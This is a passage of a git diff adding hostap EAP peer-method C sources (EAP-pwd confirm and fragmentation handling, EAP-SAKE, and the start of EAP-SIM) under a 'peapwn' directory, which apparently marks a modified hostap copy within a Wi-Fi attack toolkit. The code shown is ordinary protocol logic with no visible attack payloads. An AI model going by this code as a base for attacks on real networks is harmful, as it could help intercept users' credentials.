data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm point " + "assignment fail"); + goto fin; + } + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* server scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->server_scalar); + BN_bn2bin(data->server_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* my element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->my_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm point " + "assignment fail"); + goto fin; + } + + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* my scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->my_scalar); + BN_bn2bin(data->my_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* the ciphersuite */ + eap_pwd_h_update(hash, (u8 *) &cs, sizeof(u32)); + + /* random function fin */ + eap_pwd_h_final(hash, conf); + + ptr = (u8 *) payload; + if (os_memcmp(conf, ptr, SHA256_MAC_LEN)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): confirm did not verify"); + goto fin; + } + + wpa_printf(MSG_DEBUG, "EAP-pwd (peer): confirm verified"); + + /* + * compute confirm: + * H(k | peer_element | peer_scalar | server_element | server_scalar | + * ciphersuite) + */ + hash = eap_pwd_h_init(); + if (hash == NULL) + goto fin; + + /* k */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(data->k); + BN_bn2bin(data->k, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* my element */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->my_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): confirm point " + "assignment fail"); + goto fin; + } + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* my scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->my_scalar); + BN_bn2bin(data->my_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* server element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->server_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): confirm point " + "assignment fail"); + goto fin; + } + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* server scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->server_scalar); + BN_bn2bin(data->server_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* the ciphersuite */ + eap_pwd_h_update(hash, (u8 *) &cs, sizeof(u32)); + + /* all done */ + eap_pwd_h_final(hash, conf); + + if (compute_keys(data->grp, data->bnctx, data->k, + data->my_scalar, data->server_scalar, conf, ptr, + &cs, data->msk, data->emsk) < 0) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): unable to compute MSK | " + "EMSK"); + goto fin; + } + + data->outbuf = wpabuf_alloc(SHA256_MAC_LEN); + if (data->outbuf == NULL) + goto fin; + + wpabuf_put_data(data->outbuf, conf, SHA256_MAC_LEN); + +fin: + os_free(cruft); + BN_free(x); + BN_free(y); + ret->methodState = METHOD_DONE; + if (data->outbuf == NULL) { + ret->decision = DECISION_FAIL; + eap_pwd_state(data, FAILURE); + } else { + ret->decision = DECISION_UNCOND_SUCC; + eap_pwd_state(data, SUCCESS); + } +} + + +static struct wpabuf * +eap_pwd_process(struct eap_sm *sm, void *priv, struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_pwd_data *data = priv; + struct wpabuf *resp = NULL; + const u8 *pos, *buf; + size_t len; + u16 tot_len = 0; + u8 lm_exch; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PWD, reqData, &len); + if ((pos == NULL) || (len < 1)) { + wpa_printf(MSG_DEBUG, "EAP-pwd: Got a frame but pos is %s and " + "len is %d", + pos == NULL ? "NULL" : "not NULL", (int) len); + ret->ignore = TRUE; + return NULL; + } + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = FALSE; + + lm_exch = *pos; + pos++; /* skip over the bits and the exch */ + len--; + + /* + * we're fragmenting so send out the next fragment + */ + if (data->out_frag_pos) { + /* + * this should be an ACK + */ + if (len) + wpa_printf(MSG_INFO, "Bad Response! Fragmenting but " + "not an ACK"); + + wpa_printf(MSG_DEBUG, "EAP-pwd: Got an ACK for a fragment"); + /* + * check if there are going to be more fragments + */ + len = wpabuf_len(data->outbuf) - data->out_frag_pos; + if ((len + EAP_PWD_HDR_SIZE) > data->mtu) { + len = data->mtu - EAP_PWD_HDR_SIZE; + EAP_PWD_SET_MORE_BIT(lm_exch); + } + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PWD, + EAP_PWD_HDR_SIZE + len, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) { + wpa_printf(MSG_INFO, "Unable to allocate memory for " + "next fragment!"); + return NULL; + } + wpabuf_put_u8(resp, lm_exch); + buf = wpabuf_head_u8(data->outbuf); + wpabuf_put_data(resp, buf + data->out_frag_pos, len); + data->out_frag_pos += len; + /* + * this is the last fragment so get rid of the out buffer + */ + if (data->out_frag_pos >= wpabuf_len(data->outbuf)) { + wpabuf_free(data->outbuf); + data->outbuf = NULL; + data->out_frag_pos = 0; + } + wpa_printf(MSG_DEBUG, "EAP-pwd: Send %s fragment of %d bytes", + data->out_frag_pos == 0 ? "last" : "next", + (int) len); + return resp; + } + + /* + * see if this is a fragment that needs buffering + * + * if it's the first fragment there'll be a length field + */ + if (EAP_PWD_GET_LENGTH_BIT(lm_exch)) { + tot_len = WPA_GET_BE16(pos); + wpa_printf(MSG_DEBUG, "EAP-pwd: Incoming fragments whose " + "total length = %d", tot_len); + data->inbuf = wpabuf_alloc(tot_len); + if (data->inbuf == NULL) { + wpa_printf(MSG_INFO, "Out of memory to buffer " + "fragments!"); + return NULL; + } + pos += sizeof(u16); + len -= sizeof(u16); + } + /* + * buffer and ACK the fragment + */ + if (EAP_PWD_GET_MORE_BIT(lm_exch)) { + data->in_frag_pos += len; + if (data->in_frag_pos > wpabuf_size(data->inbuf)) { + wpa_printf(MSG_INFO, "EAP-pwd: Buffer overflow attack " + "detected (%d vs. %d)!", + (int) data->in_frag_pos, + (int) wpabuf_len(data->inbuf)); + wpabuf_free(data->inbuf); + data->in_frag_pos = 0; + return NULL; + } + wpabuf_put_data(data->inbuf, pos, len); + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PWD, + EAP_PWD_HDR_SIZE, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp != NULL) + wpabuf_put_u8(resp, (EAP_PWD_GET_EXCHANGE(lm_exch))); + wpa_printf(MSG_DEBUG, "EAP-pwd: ACKing a %d byte fragment", + (int) len); + return resp; + } + /* + * we're buffering and this is the last fragment + */ + if (data->in_frag_pos) { + wpabuf_put_data(data->inbuf, pos, len); + wpa_printf(MSG_DEBUG, "EAP-pwd: Last fragment, %d bytes", + (int) len); + data->in_frag_pos += len; + pos = wpabuf_head_u8(data->inbuf); + len = data->in_frag_pos; + } + wpa_printf(MSG_DEBUG, "EAP-pwd: processing frame: exch %d, len %d", + EAP_PWD_GET_EXCHANGE(lm_exch), (int) len); + + switch (EAP_PWD_GET_EXCHANGE(lm_exch)) { + case EAP_PWD_OPCODE_ID_EXCH: + eap_pwd_perform_id_exchange(sm, data, ret, reqData, + pos, len); + break; + case EAP_PWD_OPCODE_COMMIT_EXCH: + eap_pwd_perform_commit_exchange(sm, data, ret, reqData, + pos, len); + break; + case EAP_PWD_OPCODE_CONFIRM_EXCH: + eap_pwd_perform_confirm_exchange(sm, data, ret, reqData, + pos, len); + break; + default: + wpa_printf(MSG_INFO, "EAP-pwd: Ignoring message with unknown " + "opcode %d", lm_exch); + break; + } + /* + * if we buffered the just processed input now's the time to free it + */ + if (data->in_frag_pos) { + wpabuf_free(data->inbuf); + data->in_frag_pos = 0; + } + + if (data->outbuf == NULL) + return NULL; /* generic failure */ + + /* + * we have output! Do we need to fragment it? + */ + len = wpabuf_len(data->outbuf); + if ((len + EAP_PWD_HDR_SIZE) > data->mtu) { + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PWD, data->mtu, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + /* + * if so it's the first so include a length field + */ + EAP_PWD_SET_LENGTH_BIT(lm_exch); + EAP_PWD_SET_MORE_BIT(lm_exch); + tot_len = len; + /* + * keep the packet at the MTU + */ + len = data->mtu - EAP_PWD_HDR_SIZE - sizeof(u16); + wpa_printf(MSG_DEBUG, "EAP-pwd: Fragmenting output, total " + "length = %d", tot_len); + } else { + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PWD, + EAP_PWD_HDR_SIZE + len, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + } + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, lm_exch); + if (EAP_PWD_GET_LENGTH_BIT(lm_exch)) { + wpabuf_put_be16(resp, tot_len); + data->out_frag_pos += len; + } + buf = wpabuf_head_u8(data->outbuf); + wpabuf_put_data(resp, buf, len); + /* + * if we're not fragmenting then there's no need to carry this around + */ + if (data->out_frag_pos == 0) { + wpabuf_free(data->outbuf); + data->outbuf = NULL; + data->out_frag_pos = 0; + } + + return resp; +} + + +static Boolean eap_pwd_key_available(struct eap_sm *sm, void *priv) +{ + struct eap_pwd_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_pwd_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pwd_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + if ((key = os_malloc(EAP_EMSK_LEN)) == NULL) + return NULL; + + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +int eap_peer_pwd_register(void) +{ + struct eap_method *eap; + int ret; + + EVP_add_digest(EVP_sha256()); + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PWD, "PWD"); + if (eap == NULL) + return -1; + + eap->init = eap_pwd_init; + eap->deinit = eap_pwd_deinit; + eap->process = eap_pwd_process; + eap->isKeyAvailable = eap_pwd_key_available; + eap->getKey = eap_pwd_getkey; + eap->get_emsk = eap_pwd_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_sake.c b/peapwn/mods/hostap/src/eap_peer/eap_sake.c new file mode 100644 index 000000000..431519cae --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_sake.c @@ -0,0 +1,517 @@ +/* + * EAP peer method: EAP-SAKE (RFC 4763) + * Copyright (c) 2006-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_peer/eap_i.h" +#include "eap_common/eap_sake_common.h" + +struct eap_sake_data { + enum { IDENTITY, CHALLENGE, CONFIRM, SUCCESS, FAILURE } state; + u8 root_secret_a[EAP_SAKE_ROOT_SECRET_LEN]; + u8 root_secret_b[EAP_SAKE_ROOT_SECRET_LEN]; + u8 rand_s[EAP_SAKE_RAND_LEN]; + u8 rand_p[EAP_SAKE_RAND_LEN]; + struct { + u8 auth[EAP_SAKE_TEK_AUTH_LEN]; + u8 cipher[EAP_SAKE_TEK_CIPHER_LEN]; + } tek; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 session_id; + int session_id_set; + u8 *peerid; + size_t peerid_len; + u8 *serverid; + size_t serverid_len; +}; + + +static const char * eap_sake_state_txt(int state) +{ + switch (state) { + case IDENTITY: + return "IDENTITY"; + case CHALLENGE: + return "CHALLENGE"; + case CONFIRM: + return "CONFIRM"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} + + +static void eap_sake_state(struct eap_sake_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-SAKE: %s -> %s", + eap_sake_state_txt(data->state), + eap_sake_state_txt(state)); + data->state = state; +} + + +static void eap_sake_deinit(struct eap_sm *sm, void *priv); + + +static void * eap_sake_init(struct eap_sm *sm) +{ + struct eap_sake_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + password = eap_get_config_password(sm, &password_len); + if (!password || password_len != 2 * EAP_SAKE_ROOT_SECRET_LEN) { + wpa_printf(MSG_INFO, "EAP-SAKE: No key of correct length " + "configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = IDENTITY; + + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + data->peerid = os_malloc(identity_len); + if (data->peerid == NULL) { + eap_sake_deinit(sm, data); + return NULL; + } + os_memcpy(data->peerid, identity, identity_len); + data->peerid_len = identity_len; + } + + os_memcpy(data->root_secret_a, password, EAP_SAKE_ROOT_SECRET_LEN); + os_memcpy(data->root_secret_b, + password + EAP_SAKE_ROOT_SECRET_LEN, + EAP_SAKE_ROOT_SECRET_LEN); + + return data; +} + + +static void eap_sake_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_sake_data *data = priv; + os_free(data->serverid); + os_free(data->peerid); + os_free(data); +} + + +static struct wpabuf * eap_sake_build_msg(struct eap_sake_data *data, + int id, size_t length, u8 subtype) +{ + struct eap_sake_hdr *sake; + struct wpabuf *msg; + size_t plen; + + plen = length + sizeof(struct eap_sake_hdr); + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_SAKE, plen, + EAP_CODE_RESPONSE, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-SAKE: Failed to allocate memory " + "request"); + return NULL; + } + + sake = wpabuf_put(msg, sizeof(*sake)); + sake->version = EAP_SAKE_VERSION; + sake->session_id = data->session_id; + sake->subtype = subtype; + + return msg; +} + + +static struct wpabuf * eap_sake_process_identity(struct eap_sm *sm, + struct eap_sake_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct eap_sake_parse_attr attr; + struct wpabuf *resp; + + if (data->state != IDENTITY) { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Request/Identity"); + + if (eap_sake_parse_attributes(payload, payload_len, &attr)) + return NULL; + + if (!attr.perm_id_req && !attr.any_id_req) { + wpa_printf(MSG_INFO, "EAP-SAKE: No AT_PERM_ID_REQ or " + "AT_ANY_ID_REQ in Request/Identity"); + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Sending Response/Identity"); + + resp = eap_sake_build_msg(data, eap_get_id(reqData), + 2 + data->peerid_len, + EAP_SAKE_SUBTYPE_IDENTITY); + if (resp == NULL) + return NULL; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_PEERID"); + eap_sake_add_attr(resp, EAP_SAKE_AT_PEERID, + data->peerid, data->peerid_len); + + eap_sake_state(data, CHALLENGE); + + return resp; +} + + +static struct wpabuf * eap_sake_process_challenge(struct eap_sm *sm, + struct eap_sake_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct eap_sake_parse_attr attr; + struct wpabuf *resp; + u8 *rpos; + size_t rlen; + + if (data->state != IDENTITY && data->state != CHALLENGE) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: Request/Challenge received " + "in unexpected state (%d)", data->state); + ret->ignore = TRUE; + return NULL; + } + if (data->state == IDENTITY) + eap_sake_state(data, CHALLENGE); + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Request/Challenge"); + + if (eap_sake_parse_attributes(payload, payload_len, &attr)) + return NULL; + + if (!attr.rand_s) { + wpa_printf(MSG_INFO, "EAP-SAKE: Request/Challenge did not " + "include AT_RAND_S"); + return NULL; + } + + os_memcpy(data->rand_s, attr.rand_s, EAP_SAKE_RAND_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-SAKE: RAND_S (server rand)", + data->rand_s, EAP_SAKE_RAND_LEN); + + if (random_get_bytes(data->rand_p, EAP_SAKE_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-SAKE: Failed to get random data"); + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-SAKE: RAND_P (peer rand)", + data->rand_p, EAP_SAKE_RAND_LEN); + + os_free(data->serverid); + data->serverid = NULL; + data->serverid_len = 0; + if (attr.serverid) { + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-SAKE: SERVERID", + attr.serverid, attr.serverid_len); + data->serverid = os_malloc(attr.serverid_len); + if (data->serverid == NULL) + return NULL; + os_memcpy(data->serverid, attr.serverid, attr.serverid_len); + data->serverid_len = attr.serverid_len; + } + + eap_sake_derive_keys(data->root_secret_a, data->root_secret_b, + data->rand_s, data->rand_p, + (u8 *) &data->tek, data->msk, data->emsk); + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Sending Response/Challenge"); + + rlen = 2 + EAP_SAKE_RAND_LEN + 2 + EAP_SAKE_MIC_LEN; + if (data->peerid) + rlen += 2 + data->peerid_len; + resp = eap_sake_build_msg(data, eap_get_id(reqData), rlen, + EAP_SAKE_SUBTYPE_CHALLENGE); + if (resp == NULL) + return NULL; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_RAND_P"); + eap_sake_add_attr(resp, EAP_SAKE_AT_RAND_P, + data->rand_p, EAP_SAKE_RAND_LEN); + + if (data->peerid) { + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_PEERID"); + eap_sake_add_attr(resp, EAP_SAKE_AT_PEERID, + data->peerid, data->peerid_len); + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_MIC_P"); + wpabuf_put_u8(resp, EAP_SAKE_AT_MIC_P); + wpabuf_put_u8(resp, 2 + EAP_SAKE_MIC_LEN); + rpos = wpabuf_put(resp, EAP_SAKE_MIC_LEN); + if (eap_sake_compute_mic(data->tek.auth, data->rand_s, data->rand_p, + data->serverid, data->serverid_len, + data->peerid, data->peerid_len, 1, + wpabuf_head(resp), wpabuf_len(resp), rpos, + rpos)) { + wpa_printf(MSG_INFO, "EAP-SAKE: Failed to compute MIC"); + wpabuf_free(resp); + return NULL; + } + + eap_sake_state(data, CONFIRM); + + return resp; +} + + +static struct wpabuf * eap_sake_process_confirm(struct eap_sm *sm, + struct eap_sake_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + struct eap_sake_parse_attr attr; + u8 mic_s[EAP_SAKE_MIC_LEN]; + struct wpabuf *resp; + u8 *rpos; + + if (data->state != CONFIRM) { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received Request/Confirm"); + + if (eap_sake_parse_attributes(payload, payload_len, &attr)) + return NULL; + + if (!attr.mic_s) { + wpa_printf(MSG_INFO, "EAP-SAKE: Request/Confirm did not " + "include AT_MIC_S"); + return NULL; + } + + eap_sake_compute_mic(data->tek.auth, data->rand_s, data->rand_p, + data->serverid, data->serverid_len, + data->peerid, data->peerid_len, 0, + wpabuf_head(reqData), wpabuf_len(reqData), + attr.mic_s, mic_s); + if (os_memcmp(attr.mic_s, mic_s, EAP_SAKE_MIC_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-SAKE: Incorrect AT_MIC_S"); + eap_sake_state(data, FAILURE); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + ret->allowNotifications = FALSE; + wpa_printf(MSG_DEBUG, "EAP-SAKE: Sending " + "Response/Auth-Reject"); + return eap_sake_build_msg(data, eap_get_id(reqData), 0, + EAP_SAKE_SUBTYPE_AUTH_REJECT); + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Sending Response/Confirm"); + + resp = eap_sake_build_msg(data, eap_get_id(reqData), + 2 + EAP_SAKE_MIC_LEN, + EAP_SAKE_SUBTYPE_CONFIRM); + if (resp == NULL) + return NULL; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_MIC_P"); + wpabuf_put_u8(resp, EAP_SAKE_AT_MIC_P); + wpabuf_put_u8(resp, 2 + EAP_SAKE_MIC_LEN); + rpos = wpabuf_put(resp, EAP_SAKE_MIC_LEN); + if (eap_sake_compute_mic(data->tek.auth, data->rand_s, data->rand_p, + data->serverid, data->serverid_len, + data->peerid, data->peerid_len, 1, + wpabuf_head(resp), wpabuf_len(resp), rpos, + rpos)) { + wpa_printf(MSG_INFO, "EAP-SAKE: Failed to compute MIC"); + wpabuf_free(resp); + return NULL; + } + + eap_sake_state(data, SUCCESS); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + ret->allowNotifications = FALSE; + + return resp; +} + + +static struct wpabuf * eap_sake_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_sake_data *data = priv; + const struct eap_sake_hdr *req; + struct wpabuf *resp; + const u8 *pos, *end; + size_t len; + u8 subtype, session_id; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_SAKE, reqData, &len); + if (pos == NULL || len < sizeof(struct eap_sake_hdr)) { + ret->ignore = TRUE; + return NULL; + } + + req = (const struct eap_sake_hdr *) pos; + end = pos + len; + subtype = req->subtype; + session_id = req->session_id; + pos = (const u8 *) (req + 1); + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Received frame: subtype %d " + "session_id %d", subtype, session_id); + wpa_hexdump(MSG_DEBUG, "EAP-SAKE: Received attributes", + pos, end - pos); + + if (data->session_id_set && data->session_id != session_id) { + wpa_printf(MSG_INFO, "EAP-SAKE: Session ID mismatch (%d,%d)", + session_id, data->session_id); + ret->ignore = TRUE; + return NULL; + } + data->session_id = session_id; + data->session_id_set = 1; + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + switch (subtype) { + case EAP_SAKE_SUBTYPE_IDENTITY: + resp = eap_sake_process_identity(sm, data, ret, reqData, + pos, end - pos); + break; + case EAP_SAKE_SUBTYPE_CHALLENGE: + resp = eap_sake_process_challenge(sm, data, ret, reqData, + pos, end - pos); + break; + case EAP_SAKE_SUBTYPE_CONFIRM: + resp = eap_sake_process_confirm(sm, data, ret, reqData, + pos, end - pos); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-SAKE: Ignoring message with " + "unknown subtype %d", subtype); + ret->ignore = TRUE; + return NULL; + } + + if (ret->methodState == METHOD_DONE) + ret->allowNotifications = FALSE; + + return resp; +} + + +static Boolean eap_sake_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_sake_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_sake_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sake_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_sake_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sake_data *data = priv; + u8 *id; + + if (data->state != SUCCESS) + return NULL; + + *len = 1 + 2 * EAP_SAKE_RAND_LEN; + id = os_malloc(*len); + if (id == NULL) + return NULL; + + id[0] = EAP_TYPE_SAKE; + os_memcpy(id + 1, data->rand_s, EAP_SAKE_RAND_LEN); + os_memcpy(id + 1 + EAP_SAKE_RAND_LEN, data->rand_s, EAP_SAKE_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-SAKE: Derived Session-Id", id, *len); + + return id; +} + + +static u8 * eap_sake_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_sake_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +int eap_peer_sake_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_SAKE, "SAKE"); + if (eap == NULL) + return -1; + + eap->init = eap_sake_init; + eap->deinit = eap_sake_deinit; + eap->process = eap_sake_process; + eap->isKeyAvailable = eap_sake_isKeyAvailable; + eap->getKey = eap_sake_getKey; + eap->getSessionId = eap_sake_get_session_id; + eap->get_emsk = eap_sake_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_sim.c b/peapwn/mods/hostap/src/eap_peer/eap_sim.c new file mode 100644 index 000000000..d8560543f --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_sim.c @@ -0,0 +1,1243 @@ +/* + * EAP peer method: EAP-SIM (RFC 4186) + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "pcsc_funcs.h" +#include "crypto/milenage.h" +#include "crypto/random.h" +#include "eap_peer/eap_i.h" +#include "eap_config.h" +#include "eap_common/eap_sim_common.h" + + +struct eap_sim_data { + u8 *ver_list; + size_t ver_list_len; + int selected_version; + size_t min_num_chal, num_chal; + + u8 kc[3][EAP_SIM_KC_LEN]; + u8 sres[3][EAP_SIM_SRES_LEN]; + u8 nonce_mt[EAP_SIM_NONCE_MT_LEN], nonce_s[EAP_SIM_NONCE_S_LEN]; + u8 mk[EAP_SIM_MK_LEN]; + u8 k_aut[EAP_SIM_K_AUT_LEN]; + u8 k_encr[EAP_SIM_K_ENCR_LEN]; + u8 msk[EAP_SIM_KEYING_DATA_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 rand[3][GSM_RAND_LEN]; + + int num_id_req, num_notification; + u8 *pseudonym; + size_t pseudonym_len; + u8 *reauth_id; + size_t reauth_id_len; + int reauth; + unsigned int counter, counter_too_small; + u8 *last_eap_identity; + size_t last_eap_identity_len; + enum { + CONTINUE, RESULT_SUCCESS, RESULT_FAILURE, SUCCESS, FAILURE + } state; + int result_ind, use_result_ind; +}; + + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * eap_sim_state_txt(int state) +{ + switch (state) { + case CONTINUE: + return "CONTINUE"; + case RESULT_SUCCESS: + return "RESULT_SUCCESS"; + case RESULT_FAILURE: + return "RESULT_FAILURE"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +static void eap_sim_state(struct eap_sim_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-SIM: %s -> %s", + eap_sim_state_txt(data->state), + eap_sim_state_txt(state)); + data->state = state; +} + + +static void * eap_sim_init(struct eap_sm *sm) +{ + struct eap_sim_data *data; + struct eap_peer_config *config = eap_get_config(sm); + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + if (random_get_bytes(data->nonce_mt, EAP_SIM_NONCE_MT_LEN)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to get random data " + "for NONCE_MT"); + os_free(data); + return NULL; + } + + data->min_num_chal = 2; + if (config && config->phase1) { + char *pos = os_strstr(config->phase1, 